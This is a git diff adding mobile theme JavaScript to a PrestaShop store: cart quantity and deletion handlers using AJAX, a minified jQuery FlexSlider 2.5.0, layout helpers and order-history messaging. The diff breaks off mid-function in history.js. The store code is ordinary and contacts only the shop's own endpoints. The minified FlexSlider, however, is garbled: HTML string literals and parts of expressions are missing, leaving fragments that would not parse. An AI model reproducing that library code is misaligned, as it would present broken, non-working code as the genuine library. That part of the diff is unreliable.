(AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2011 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + {hook h="DisplayHome"} + {*hook h="DisplayMobileIndex"} + {include file='./sitemap.tpl'*} \ No newline at end of file diff --git a/themes/default/mobile/js/cart.js b/themes/default/mobile/js/cart.js new file mode 100755 index 0000000..8075474 --- /dev/null +++ b/themes/default/mobile/js/cart.js @@ -0,0 +1,112 @@ +$( '.prestashop-page' ).live( 'pageshow',function(event) +{ + var quantity = new Array(); + + $("[name='cart_product_id[]']").each(function(i){ + quantity[$(this).val()] = parseInt($('[name="product_cart_quantity_'+$(this).val()+'"]').val()); + }); + + $(".display_block_card_product").children().each(function(i){ + $(this).hide(); + }); + + $(".grouped_buttons_card").children().each(function(i){ + $(this).click(function(){ + $(".display_block_card_product").children().each(function(i){ + $(this).hide(); + }); + $("#"+$(this).attr('id')+"sheet").show(); + }); + }); + + $('[name*="product_cart_quantity_"]').change(function() + { + ids = $(this).attr("name").split('_'); + id = ids[3]; + val = parseInt($(this).val()); + + if (quantity[id] < val) + { + CartUpd.ajaxUpdQty(id, val - quantity[id], 1); + quantity[id] = val; + } + else if (quantity[id] > val) + { + CartUpd.ajaxUpdQty(id, quantity[id] - val, 0); + quantity[id] = val; + } + }); + + $('[id*="delete_cart_"]').click(function() + { + ids = $(this).attr("id").split('_'); + CartUpd.deleteProductFromSummary(ids[2]); + }); + +}); + +var CartUpd = (function() +{ + return { + ajaxUpdQty : function(id, qty, op) + { + productAttributeId = $("#cart_product_attribute_id_"+id).val(); + id_address_delivery = $("#cart_product_address_delivery_id_"+id).val(); + customizationId = 0; + + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseDir + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType: 'json', + data: 'controller=cart&ajax=true&add=true&getproductprice&summary&id_product='+id+'&ipa='+productAttributeId+'&id_address_delivery='+id_address_delivery+ ( op == 0 ? '&op=down' : '' ) + ( (customizationId != 0) ? '&id_customization='+customizationId : '') + '&qty='+qty+'&token=' + static_token , + success: function(jsonData) + { + if (!jsonData.hasError) + CartUpd.updData(jsonData); + } + }); + }, + deleteProductFromSummary : function(id) + { + productAttributeId = $("#cart_product_attribute_id_"+id).val(); + id_address_delivery = $("#cart_product_address_delivery_id_"+id).val(); + customizationId = 0; + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseDir + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType: 'json', + data: 'controller=cart&ajax=true&delete=true&summary=true&id_product='+id+'&ipa='+productAttributeId+'&id_address_delivery='+id_address_delivery+ ( (customizationId != 0) ? '&id_customization='+customizationId : '') + '&token=' + static_token , + success: function(jsonData) + { + if (!jsonData.hasError) + { + if (jsonData.refresh) + location.reload(); + $("#cart_total_products").html(jsonData.summary.total_products_wt); + $("#cart_total_price").html(jsonData.summary.total_price); + $("#element_product_"+id).fadeOut(); + } + } + }); + } + , + updData : function(data) + { + var products = data.summary.products; + + $(products).each(function(i){ + price = this.price_wt * this.quantity; + $("#grouped_buttons_card_"+this.id_product+"_totsheet").html((price).toFixed(2)); + }); + + $("#cart_total_products").html(data.summary.total_products_wt); + $("#cart_total_price").html(data.summary.total_price); + } + } +})(); diff --git a/themes/default/mobile/js/flexslider.js b/themes/default/mobile/js/flexslider.js new file mode 100644 index 0000000..54f2ca9 --- /dev/null +++ b/themes/default/mobile/js/flexslider.js @@ -0,0 +1,5 @@ +/* + * jQuery FlexSlider v2.5.0 + * Copyright 2012 WooThemes + * Contributing Author: Tyler Smith + */!function($){$.flexslider=function(e,t){var a=$(e);a.vars=$.extend({},$.flexslider.defaults,t);var n=a.vars.namespace,i=window.navigator&&window.navigator.msPointerEnabled&&window.MSGesture,s=("ontouchstart"in window||i||window.DocumentTouch&&document instanceof DocumentTouch)&&a.vars.touch,r="click touchend MSPointerUp keyup",o="",l,c="vertical"===a.vars.direction,d=a.vars.reverse,u=a.vars.itemWidth>0,v="fade"===a.vars.animation,p=""!==a.vars.asNavFor,m={},f=!0;$.data(e,"flexslider",a),m={init:function(){a.animating=!1,a.currentSlide=parseInt(a.vars.startAt?a.vars.startAt:0,10),isNaN(a.currentSlide)&&(a.currentSlide=0),a.animatingTo=a.currentSlide,a.atEnd=0===a.currentSlide||a.currentSlide===a.last,a.containerSelector=a.vars.selector.substr(0,a.vars.selector.search(" ")),a.slides=$(a.vars.selector,a),a.container=$(a.containerSelector,a),a.count=a.slides.length,a.syncExists=$(a.vars.sync).length>0,"slide"===a.vars.animation&&(a.vars.animation="swing"),a.prop=c?"top":"marginLeft",a.args={},a.manualPause=!1,a.stopped=!1,a.started=!1,a.startTimeout=null,a.transitions=!a.vars.video&&!v&&a.vars.useCSS&&function(){var e=document.createElement("div"),t=["perspectiveProperty","WebkitPerspective","MozPerspective","OPerspective","msPerspective"];for(var n in t)if(void 0!==e.style[t[n]])return a.pfx=t[n].replace("Perspective","").toLowerCase(),a.prop="-"+a.pfx+"-transform",!0;return!1}(),a.ensureAnimationEnd="",""!==a.vars.controlsContainer&&(a.controlsContainer=$(a.vars.controlsContainer).length>0&&$(a.vars.controlsContainer)),""!==a.vars.manualControls&&(a.manualControls=$(a.vars.manualControls).length>0&&$(a.vars.manualControls)),""!==a.vars.customDirectionNav&&(a.customDirectionNav=2===$(a.vars.customDirectionNav).length&&$(a.vars.customDirectionNav)),a.vars.randomize&&(a.slides.sort(function(){return Math.round(Math.random())-.5}),a.container.empty().append(a.slides)),a.doMath(),a.setup("init"),a.vars.controlNav&&m.controlNav.setup(),a.vars.directionNav&&m.directionNav.setup(),a.vars.keyboard&&(1===$(a.containerSelector).length||a.vars.multipleKeyboard)&&$(document).bind("keyup",function(e){var t=e.keyCode;if(!a.animating&&(39===t||37===t)){var n=39===t?a.getTarget("next"):37===t?a.getTarget("prev"):!1;a.flexAnimate(n,a.vars.pauseOnAction)}}),a.vars.mousewheel&&a.bind("mousewheel",function(e,t,n,i){e.preventDefault();var s=a.getTarget(0>t?"next":"prev");a.flexAnimate(s,a.vars.pauseOnAction)}),a.vars.pausePlay&&m.pausePlay.setup(),a.vars.slideshow&&a.vars.pauseInvisible&&m.pauseInvisible.init(),a.vars.slideshow&&(a.vars.pauseOnHover&&a.hover(function(){a.manualPlay||a.manualPause||a.pause()},function(){a.manualPause||a.manualPlay||a.stopped||a.play()}),a.vars.pauseInvisible&&m.pauseInvisible.isHidden()||(a.vars.initDelay>0?a.startTimeout=setTimeout(a.play,a.vars.initDelay):a.play())),p&&m.asNav.setup(),s&&a.vars.touch&&m.touch(),(!v||v&&a.vars.smoothHeight)&&$(window).bind("resize orientationchange focus",m.resize),a.find("img").attr("draggable","false"),setTimeout(function(){a.vars.start(a)},200)},asNav:{setup:function(){a.asNav=!0,a.animatingTo=Math.floor(a.currentSlide/a.move),a.currentItem=a.currentSlide,a.slides.removeClass(n+"active-slide").eq(a.currentItem).addClass(n+"active-slide"),i?(e._slider=a,a.slides.each(function(){var e=this;e._gesture=new MSGesture,e._gesture.target=e,e.addEventListener("MSPointerDown",function(e){e.preventDefault(),e.currentTarget._gesture&&e.currentTarget._gesture.addPointer(e.pointerId)},!1),e.addEventListener("MSGestureTap",function(e){e.preventDefault();var t=$(this),n=t.index();$(a.vars.asNavFor).data("flexslider").animating||t.hasClass("active")||(a.direction=a.currentItem=s&&t.hasClass(n+"active-slide")?a.flexAnimate(a.getTarget("prev"),!0):$(a.vars.asNavFor).data("flexslider").animating||t.hasClass(n+"active-slide")||(a.direction=a.currentItem'),a.pagingCount>1)for(var l=0;l':""+t+"","thumbnails"===a.vars.controlNav&&!0===a.vars.thumbCaptions){var c=s.attr("data-thumbcaption");""!==c&&void 0!==c&&(i+=''+c+"")}a.controlNavScaffold.append("
      • "+i+"
      • "),t++}a.controlsContainer?$(a.controlsContainer).append(a.controlNavScaffold):a.append(a.controlNavScaffold),m.controlNav.set(),m.controlNav.active(),a.controlNavScaffold.delegate("a, img",r,function(e){if(e.preventDefault(),""===o||o===e.type){var t=$(this),i=a.controlNav.index(t);t.hasClass(n+"active")||(a.direction=i>a.currentSlide?"next":"prev",a.flexAnimate(i,a.vars.pauseOnAction))}""===o&&(o=e.type),m.setToClearWatchedEvent()})},setupManual:function(){a.controlNav=a.manualControls,m.controlNav.active(),a.controlNav.bind(r,function(e){if(e.preventDefault(),""===o||o===e.type){var t=$(this),i=a.controlNav.index(t);t.hasClass(n+"active")||(a.direction=i>a.currentSlide?"next":"prev",a.flexAnimate(i,a.vars.pauseOnAction))}""===o&&(o=e.type),m.setToClearWatchedEvent()})},set:function(){var e="thumbnails"===a.vars.controlNav?"img":"a";a.controlNav=$("."+n+"control-nav li "+e,a.controlsContainer?a.controlsContainer:a)},active:function(){a.controlNav.removeClass(n+"active").eq(a.animatingTo).addClass(n+"active")},update:function(e,t){a.pagingCount>1&&"add"===e?a.controlNavScaffold.append($("
      • "+a.count+"
      • ")):1===a.pagingCount?a.controlNavScaffold.find("li").remove():a.controlNav.eq(t).closest("li").remove(),m.controlNav.set(),a.pagingCount>1&&a.pagingCount!==a.controlNav.length?a.update(t,e):m.controlNav.active()}},directionNav:{setup:function(){var e=$('");a.customDirectionNav?a.directionNav=a.customDirectionNav:a.controlsContainer?($(a.controlsContainer).append(e),a.directionNav=$("."+n+"direction-nav li a",a.controlsContainer)):(a.append(e),a.directionNav=$("."+n+"direction-nav li a",a)),m.directionNav.update(),a.directionNav.bind(r,function(e){e.preventDefault();var t;(""===o||o===e.type)&&(t=a.getTarget($(this).hasClass(n+"next")?"next":"prev"),a.flexAnimate(t,a.vars.pauseOnAction)),""===o&&(o=e.type),m.setToClearWatchedEvent()})},update:function(){var e=n+"disabled";1===a.pagingCount?a.directionNav.addClass(e).attr("tabindex","-1"):a.vars.animationLoop?a.directionNav.removeClass(e).removeAttr("tabindex"):0===a.animatingTo?a.directionNav.removeClass(e).filter("."+n+"prev").addClass(e).attr("tabindex","-1"):a.animatingTo===a.last?a.directionNav.removeClass(e).filter("."+n+"next").addClass(e).attr("tabindex","-1"):a.directionNav.removeClass(e).removeAttr("tabindex")}},pausePlay:{setup:function(){var e=$('
        ');a.controlsContainer?(a.controlsContainer.append(e),a.pausePlay=$("."+n+"pauseplay a",a.controlsContainer)):(a.append(e),a.pausePlay=$("."+n+"pauseplay a",a)),m.pausePlay.update(a.vars.slideshow?n+"pause":n+"play"),a.pausePlay.bind(r,function(e){e.preventDefault(),(""===o||o===e.type)&&($(this).hasClass(n+"pause")?(a.manualPause=!0,a.manualPlay=!1,a.pause()):(a.manualPause=!1,a.manualPlay=!0,a.play())),""===o&&(o=e.type),m.setToClearWatchedEvent()})},update:function(e){"play"===e?a.pausePlay.removeClass(n+"pause").addClass(n+"play").html(a.vars.playText):a.pausePlay.removeClass(n+"play").addClass(n+"pause").html(a.vars.pauseText)}},touch:function(){function t(t){t.stopPropagation(),a.animating?t.preventDefault():(a.pause(),e._gesture.addPointer(t.pointerId),w=0,p=c?a.h:a.w,f=Number(new Date),l=u&&d&&a.animatingTo===a.last?0:u&&d?a.limit-(a.itemW+a.vars.itemMargin)*a.move*a.animatingTo:u&&a.currentSlide===a.last?a.limit:u?(a.itemW+a.vars.itemMargin)*a.move*a.currentSlide:d?(a.last-a.currentSlide+a.cloneOffset)*p:(a.currentSlide+a.cloneOffset)*p)}function n(t){t.stopPropagation();var a=t.target._slider;if(a){var n=-t.translationX,i=-t.translationY;return w+=c?i:n,m=w,y=c?Math.abs(w)500)&&(t.preventDefault(),!v&&a.transitions&&(a.vars.animationLoop||(m=w/(0===a.currentSlide&&0>w||a.currentSlide===a.last&&w>0?Math.abs(w)/p+2:1)),a.setProps(l+m,"setTouch"))))}}function s(e){e.stopPropagation();var t=e.target._slider;if(t){if(t.animatingTo===t.currentSlide&&!y&&null!==m){var a=d?-m:m,n=t.getTarget(a>0?"next":"prev");t.canAdvance(n)&&(Number(new Date)-f<550&&Math.abs(a)>50||Math.abs(a)>p/2)?t.flexAnimate(n,t.vars.pauseOnAction):v||t.flexAnimate(t.currentSlide,t.vars.pauseOnAction,!0)}r=null,o=null,m=null,l=null,w=0}}var r,o,l,p,m,f,g,h,S,y=!1,x=0,b=0,w=0;i?(e.style.msTouchAction="none",e._gesture=new MSGesture,e._gesture.target=e,e.addEventListener("MSPointerDown",t,!1),e._slider=a,e.addEventListener("MSGestureChange",n,!1),e.addEventListener("MSGestureEnd",s,!1)):(g=function(t){a.animating?t.preventDefault():(window.navigator.msPointerEnabled||1===t.touches.length)&&(a.pause(),p=c?a.h:a.w,f=Number(new Date),x=t.touches[0].pageX,b=t.touches[0].pageY,l=u&&d&&a.animatingTo===a.last?0:u&&d?a.limit-(a.itemW+a.vars.itemMargin)*a.move*a.animatingTo:u&&a.currentSlide===a.last?a.limit:u?(a.itemW+a.vars.itemMargin)*a.move*a.currentSlide:d?(a.last-a.currentSlide+a.cloneOffset)*p:(a.currentSlide+a.cloneOffset)*p,r=c?b:x,o=c?x:b,e.addEventListener("touchmove",h,!1),e.addEventListener("touchend",S,!1))},h=function(e){x=e.touches[0].pageX,b=e.touches[0].pageY,m=c?r-b:r-x,y=c?Math.abs(m)t)&&(e.preventDefault(),!v&&a.transitions&&(a.vars.animationLoop||(m/=0===a.currentSlide&&0>m||a.currentSlide===a.last&&m>0?Math.abs(m)/p+2:1),a.setProps(l+m,"setTouch")))},S=function(t){if(e.removeEventListener("touchmove",h,!1),a.animatingTo===a.currentSlide&&!y&&null!==m){var n=d?-m:m,i=a.getTarget(n>0?"next":"prev");a.canAdvance(i)&&(Number(new Date)-f<550&&Math.abs(n)>50||Math.abs(n)>p/2)?a.flexAnimate(i,a.vars.pauseOnAction):v||a.flexAnimate(a.currentSlide,a.vars.pauseOnAction,!0)}e.removeEventListener("touchend",S,!1),r=null,o=null,m=null,l=null},e.addEventListener("touchstart",g,!1))},resize:function(){!a.animating&&a.is(":visible")&&(u||a.doMath(),v?m.smoothHeight():u?(a.slides.width(a.computedW),a.update(a.pagingCount),a.setProps()):c?(a.viewport.height(a.h),a.setProps(a.h,"setTotal")):(a.vars.smoothHeight&&m.smoothHeight(),a.newSlides.width(a.computedW),a.setProps(a.computedW,"setTotal")))},smoothHeight:function(e){if(!c||v){var t=v?a:a.viewport;e?t.animate({height:a.slides.eq(a.animatingTo).height()},e):t.height(a.slides.eq(a.animatingTo).height())}},sync:function(e){var t=$(a.vars.sync).data("flexslider"),n=a.animatingTo;switch(e){case"animate":t.flexAnimate(n,a.vars.pauseOnAction,!1,!0);break;case"play":t.playing||t.asNav||t.play();break;case"pause":t.pause()}},uniqueID:function(e){return e.filter("[id]").add(e.find("[id]")).each(function(){var e=$(this);e.attr("id",e.attr("id")+"_clone")}),e},pauseInvisible:{visProp:null,init:function(){var e=m.pauseInvisible.getHiddenProp();if(e){var t=e.replace(/[H|h]idden/,"")+"visibilitychange";document.addEventListener(t,function(){m.pauseInvisible.isHidden()?a.startTimeout?clearTimeout(a.startTimeout):a.pause():a.started?a.play():a.vars.initDelay>0?setTimeout(a.play,a.vars.initDelay):a.play()})}},isHidden:function(){var e=m.pauseInvisible.getHiddenProp();return e?document[e]:!1},getHiddenProp:function(){var e=["webkit","moz","ms","o"];if("hidden"in document)return"hidden";for(var t=0;ta.currentSlide?"next":"prev"),p&&1===a.pagingCount&&(a.direction=a.currentItema.limit&&1!==a.visible?a.limit:S):h=0===a.currentSlide&&e===a.count-1&&a.vars.animationLoop&&"next"!==a.direction?d?(a.count+a.cloneOffset)*f:0:a.currentSlide===a.last&&0===e&&a.vars.animationLoop&&"prev"!==a.direction?d?0:(a.count+1)*f:d?(a.count-1-e+a.cloneOffset)*f:(e+a.cloneOffset)*f,a.setProps(h,"",a.vars.animationSpeed),a.transitions?(a.vars.animationLoop&&a.atEnd||(a.animating=!1,a.currentSlide=a.animatingTo),a.container.unbind("webkitTransitionEnd transitionend"),a.container.bind("webkitTransitionEnd transitionend",function(){clearTimeout(a.ensureAnimationEnd),a.wrapup(f)}),clearTimeout(a.ensureAnimationEnd),a.ensureAnimationEnd=setTimeout(function(){a.wrapup(f)},a.vars.animationSpeed+100)):a.container.animate(a.args,a.vars.animationSpeed,a.vars.easing,function(){a.wrapup(f)})}a.vars.smoothHeight&&m.smoothHeight(a.vars.animationSpeed)}},a.wrapup=function(e){v||u||(0===a.currentSlide&&a.animatingTo===a.last&&a.vars.animationLoop?a.setProps(e,"jumpEnd"):a.currentSlide===a.last&&0===a.animatingTo&&a.vars.animationLoop&&a.setProps(e,"jumpStart")),a.animating=!1,a.currentSlide=a.animatingTo,a.vars.after(a)},a.animateSlides=function(){!a.animating&&f&&a.flexAnimate(a.getTarget("next"))},a.pause=function(){clearInterval(a.animatedSlides),a.animatedSlides=null,a.playing=!1,a.vars.pausePlay&&m.pausePlay.update("play"),a.syncExists&&m.sync("pause")},a.play=function(){a.playing&&clearInterval(a.animatedSlides),a.animatedSlides=a.animatedSlides||setInterval(a.animateSlides,a.vars.slideshowSpeed),a.started=a.playing=!0,a.vars.pausePlay&&m.pausePlay.update("pause"),a.syncExists&&m.sync("play")},a.stop=function(){a.pause(),a.stopped=!0},a.canAdvance=function(e,t){var n=p?a.pagingCount-1:a.last;return t?!0:p&&a.currentItem===a.count-1&&0===e&&"prev"===a.direction?!0:p&&0===a.currentItem&&e===a.pagingCount-1&&"next"!==a.direction?!1:e!==a.currentSlide||p?a.vars.animationLoop?!0:a.atEnd&&0===a.currentSlide&&e===n&&"next"!==a.direction?!1:a.atEnd&&a.currentSlide===n&&0===e&&"next"===a.direction?!1:!0:!1},a.getTarget=function(e){return a.direction=e,"next"===e?a.currentSlide===a.last?0:a.currentSlide+1:0===a.currentSlide?a.last:a.currentSlide-1},a.setProps=function(e,t,n){var i=function(){var n=e?e:(a.itemW+a.vars.itemMargin)*a.move*a.animatingTo,i=function(){if(u)return"setTouch"===t?e:d&&a.animatingTo===a.last?0:d?a.limit-(a.itemW+a.vars.itemMargin)*a.move*a.animatingTo:a.animatingTo===a.last?a.limit:n;switch(t){case"setTotal":return d?(a.count-1-a.currentSlide+a.cloneOffset)*e:(a.currentSlide+a.cloneOffset)*e;case"setTouch":return d?e:e;case"jumpEnd":return d?e:a.count*e;case"jumpStart":return d?a.count*e:e;default:return e}}();return-1*i+"px"}();a.transitions&&(i=c?"translate3d(0,"+i+",0)":"translate3d("+i+",0,0)",n=void 0!==n?n/1e3+"s":"0s",a.container.css("-"+a.pfx+"-transition-duration",n),a.container.css("transition-duration",n)),a.args[a.prop]=i,(a.transitions||void 0===n)&&a.container.css(a.args),a.container.css("transform",i)},a.setup=function(e){if(v)a.slides.css({width:"100%","float":"left",marginRight:"-100%",position:"relative"}),"init"===e&&(s?a.slides.css({opacity:0,display:"block",webkitTransition:"opacity "+a.vars.animationSpeed/1e3+"s ease",zIndex:1}).eq(a.currentSlide).css({opacity:1,zIndex:2}):0==a.vars.fadeFirstSlide?a.slides.css({opacity:0,display:"block",zIndex:1}).eq(a.currentSlide).css({zIndex:2}).css({opacity:1}):a.slides.css({opacity:0,display:"block",zIndex:1}).eq(a.currentSlide).css({zIndex:2}).animate({opacity:1},a.vars.animationSpeed,a.vars.easing)),a.vars.smoothHeight&&m.smoothHeight();else{var t,i;"init"===e&&(a.viewport=$('
        ').css({overflow:"hidden",position:"relative"}).appendTo(a).append(a.container),a.cloneCount=0,a.cloneOffset=0,d&&(i=$.makeArray(a.slides).reverse(),a.slides=$(i),a.container.empty().append(a.slides))),a.vars.animationLoop&&!u&&(a.cloneCount=2,a.cloneOffset=1,"init"!==e&&a.container.find(".clone").remove(),a.container.append(m.uniqueID(a.slides.first().clone().addClass("clone")).attr("aria-hidden","true")).prepend(m.uniqueID(a.slides.last().clone().addClass("clone")).attr("aria-hidden","true"))),a.newSlides=$(a.vars.selector,a),t=d?a.count-1-a.currentSlide+a.cloneOffset:a.currentSlide+a.cloneOffset,c&&!u?(a.container.height(200*(a.count+a.cloneCount)+"%").css("position","absolute").width("100%"),setTimeout(function(){a.newSlides.css({display:"block"}),a.doMath(),a.viewport.height(a.h),a.setProps(t*a.h,"init")},"init"===e?100:0)):(a.container.width(200*(a.count+a.cloneCount)+"%"),a.setProps(t*a.computedW,"init"),setTimeout(function(){a.doMath(),a.newSlides.css({width:a.computedW,"float":"left",display:"block"}),a.vars.smoothHeight&&m.smoothHeight()},"init"===e?100:0))}u||a.slides.removeClass(n+"active-slide").eq(a.currentSlide).addClass(n+"active-slide"),a.vars.init(a)},a.doMath=function(){var e=a.slides.first(),t=a.vars.itemMargin,n=a.vars.minItems,i=a.vars.maxItems;a.w=void 0===a.viewport?a.width():a.viewport.width(),a.h=e.height(),a.boxPadding=e.outerWidth()-e.width(),u?(a.itemT=a.vars.itemWidth+t,a.minW=n?n*a.itemT:a.w,a.maxW=i?i*a.itemT-t:a.w,a.itemW=a.minW>a.w?(a.w-t*(n-1))/n:a.maxWa.w?a.w:a.vars.itemWidth,a.visible=Math.floor(a.w/a.itemW),a.move=a.vars.move>0&&a.vars.movea.w?a.itemW*(a.count-1)+t*(a.count-1):(a.itemW+t)*a.count-a.w-t):(a.itemW=a.w,a.pagingCount=a.count,a.last=a.count-1),a.computedW=a.itemW-a.boxPadding},a.update=function(e,t){a.doMath(),u||(ea.controlNav.length?m.controlNav.update("add"):("remove"===t&&!u||a.pagingCounta.last&&(a.currentSlide-=1,a.animatingTo-=1),m.controlNav.update("remove",a.last))),a.vars.directionNav&&m.directionNav.update()},a.addSlide=function(e,t){var n=$(e);a.count+=1,a.last=a.count-1,c&&d?void 0!==t?a.slides.eq(a.count-t).after(n):a.container.prepend(n):void 0!==t?a.slides.eq(t).before(n):a.container.append(n),a.update(t,"add"),a.slides=$(a.vars.selector+":not(.clone)",a),a.setup(),a.vars.added(a)},a.removeSlide=function(e){var t=isNaN(e)?a.slides.index($(e)):e;a.count-=1,a.last=a.count-1,isNaN(e)?$(e,a.slides).remove():c&&d?a.slides.eq(a.last).remove():a.slides.eq(e).remove(),a.doMath(),a.update(t,"remove"),a.slides=$(a.vars.selector+":not(.clone)",a),a.setup(),a.vars.removed(a)},m.init()},$(window).blur(function(e){focused=!1}).focus(function(e){focused=!0}),$.flexslider.defaults={namespace:"flex-",selector:".slides > li",animation:"fade",easing:"swing",direction:"horizontal",reverse:!1,animationLoop:!0,smoothHeight:!1,startAt:0,slideshow:!0,slideshowSpeed:7e3,animationSpeed:600,initDelay:0,randomize:!1,fadeFirstSlide:!0,thumbCaptions:!1,pauseOnAction:!0,pauseOnHover:!1,pauseInvisible:!0,useCSS:!0,touch:!0,video:!1,controlNav:!0,directionNav:!0,prevText:"Previous",nextText:"Next",keyboard:!0,multipleKeyboard:!1,mousewheel:!1,pausePlay:!1,pauseText:"Pause",playText:"Play",controlsContainer:"",manualControls:"",customDirectionNav:"",sync:"",asNavFor:"",itemWidth:0,itemMargin:0,minItems:1,maxItems:0,move:0,allowOneSlide:!0,start:function(){},before:function(){},after:function(){},end:function(){},added:function(){},removed:function(){},init:function(){}},$.fn.flexslider=function(e){if(void 0===e&&(e={}),"object"==typeof e)return this.each(function(){var t=$(this),a=e.selector?e.selector:".slides > li",n=t.find(a);1===n.length&&e.allowOneSlide===!0||0===n.length?(n.fadeIn(400),e.start&&e.start(t)):void 0===t.data("flexslider")&&new $.flexslider(this,e)});var t=$(this).data("flexslider");switch(e){case"play":t.play();break;case"pause":t.pause();break;case"stop":t.stop();break;case"next":t.flexAnimate(t.getTarget("next"),!0);break;case"prev":case"previous":t.flexAnimate(t.getTarget("prev"),!0);break;default:"number"==typeof e&&t.flexAnimate(e,!0)}}}(jQuery); \ No newline at end of file diff --git a/themes/default/mobile/js/global.js b/themes/default/mobile/js/global.js new file mode 100755 index 0000000..321a523 --- /dev/null +++ b/themes/default/mobile/js/global.js @@ -0,0 +1,87 @@ +$(document).ready(function(){ + + $(document).on('touchstart click', '.delivery_options_address .ui-radio', function(e){ + if($(this).children('.delivery_option_radio').val() == "61,"){ + PS_MRObject.initFront(); + } + }); +}); + +// Allows to set the same height on ui-block element +// for #category-list items. +$( '.prestashop-page' ).live( 'pageshow',function(event) +{ + if ($('.ui-grid-a.same-height').length) + { + $('.ui-grid-a.same-height .ui-block-a').each(function() + { + if ($(this).height() != $(this).next('.ui-block-b').height()) + { + var height1 = $(this).height(); + var height2 = $(this).next('.ui-block-b').height(); + if (height1 < height2) { + $(this).height(height2).find('.ui-btn-inner.ui-li').height(height2); + if ($(this).find('.ui-bar').length) { + var less_h = [ + parseInt($(this).find('.ui-bar').css('padding-top')), + parseInt($(this).find('.ui-bar').css('padding-bottom')), + parseInt($(this).find('.ui-bar').css('border-top-width')), + parseInt($(this).find('.ui-bar').css('border-bottom-width')) + ]; + $(this).find('.ui-bar').height(height2-less_h[0]-less_h[1]-less_h[2]-less_h[3]); + } + } else { + $(this).next('.ui-block-b').height(height1).find('.ui-btn-inner.ui-li').height(height1); + } + } + }); + } +}); + +$( '.prestashop-page' ).live( 'pageinit',function(event) +{ + if ($('.wrapper_pagination_mobile').length) + { + $('.wrapper_pagination_mobile').find('.disabled').live('click', function(e) + { + e.preventDefault(); + return false; + }); + } +}); +// $(document).ready(function(){ + // $('.thickbox').fancybox({ + // 'hideOnContentClick': true, + // 'transitionIn' : 'elastic', + // 'transitionOut' : 'elastic' + // }); + // $('.thickbox2').fancybox({ + // 'hideOnContentClick': false, + // 'transitionIn' : 'elastic', + // 'transitionOut' : 'elastic' + // }); +// }); + + + +function flexSlide() { + $('.flexslider').flexslider({ + animation: "slide", + after: function(){ + var ind = $('.flex-active-slide').index(); + $('#views_block a').removeClass('shown'); + $('#views_block a:eq('+(ind-1)+')').addClass('shown'); + account++; + // console.log(account); + + if(account == len){ + setTimeout(function(){ $('.flex-control-nav li:eq(0) a').trigger('click'); }, 3000); + + } + } + }); +} + +$(document).on('pageinit', function() { + flexSlide(); +}); diff --git a/themes/default/mobile/js/history.js b/themes/default/mobile/js/history.js new file mode 100755 index 0000000..088deee --- /dev/null +++ b/themes/default/mobile/js/history.js @@ -0,0 +1,124 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +//show the order-details with ajax +function showOrder(mode, var_content, file) +{ + /*$.get( + file, + ((mode == 1) ? {'id_order': var_content, 'ajax': true} : {'id_order_return': var_content, 'ajax': true}), + function(data) + { + $('#block-order-detail').fadeOut('slow', function() + { + $(this).html(data); + // if return is allowed + if ($('div#order-detail-content table td.order_cb').length > 0) + { + //return slip : check or uncheck every checkboxes + $('form div#order-detail-content th input[type=checkbox]').click(function() + { + $('form div#order-detail-content td input[type=checkbox]').each(function() + { + this.checked = $('form div#order-detail-content th input[type=checkbox]').is(':checked'); + updateOrderLineDisplay(this); + }); + }); + //return slip : enable or disable 'global' quantity editing + $('form div#order-detail-content td input[type=checkbox]').click(function() + { + updateOrderLineDisplay(this); + }); + //return slip : limit quantities + $('form div#order-detail-content td input.order_qte_input').keyup(function() + { + var maxQuantity = parseInt($(this).parent().find('span.order_qte_span').text()); + var quantity = parseInt($(this).val()); + if (isNaN($(this).val()) && $(this).val() != '') + { + $(this).val(maxQuantity); + } + else + { + if (quantity > maxQuantity) + $(this).val(maxQuantity); + else if (quantity < 1) + $(this).val(1); + } + }); + } + //catch the submit event of sendOrderMessage form + $('form#sendOrderMessage').submit(function(){ + return sendOrderMessage(); + }); + $(this).fadeIn('slow'); + $('html, body').animate({scrollTop: $(this).offset().top},'slow'); + // $.scrollTo(this, 1200); + }); + });*/ +} + +function updateOrderLineDisplay(domCheckbox) +{ + var lineQuantitySpan = $(domCheckbox).parent().parent().find('span.order_qte_span'); + var lineQuantityInput = $(domCheckbox).parent().parent().find('input.order_qte_input'); + if($(domCheckbox).is(':checked')) + { + lineQuantitySpan.hide(); + lineQuantityInput.show(); + } + else + { + lineQuantityInput.hide(); + lineQuantityInput.val(lineQuantitySpan.text()); + lineQuantitySpan.show(); + } +} + +//send a message in relation to the order with ajax +function sendOrderMessage () +{ + paramString = "ajax=true"; + $('form#sendOrderMessage').find('input, textarea').each(function(){ + paramString += '&' + $(this).attr('name') + '=' + encodeURI($(this).val()); + }); + $.ajax({ + type: "POST", + headers: { "cache-control": "no-cache" }, + url: baseDir + "index.php?controller=order-detail" + '&rand=' + new Date().getTime(), + data: paramString, + success: function (msg){ + $('#block-order-detail').fadeOut('slow', function() { + $(this).html(msg); + //catch the submit event of sendOrderMessage form + $('form#sendOrderMessage').submit(function(){ + return sendOrderMessage(); + }); + 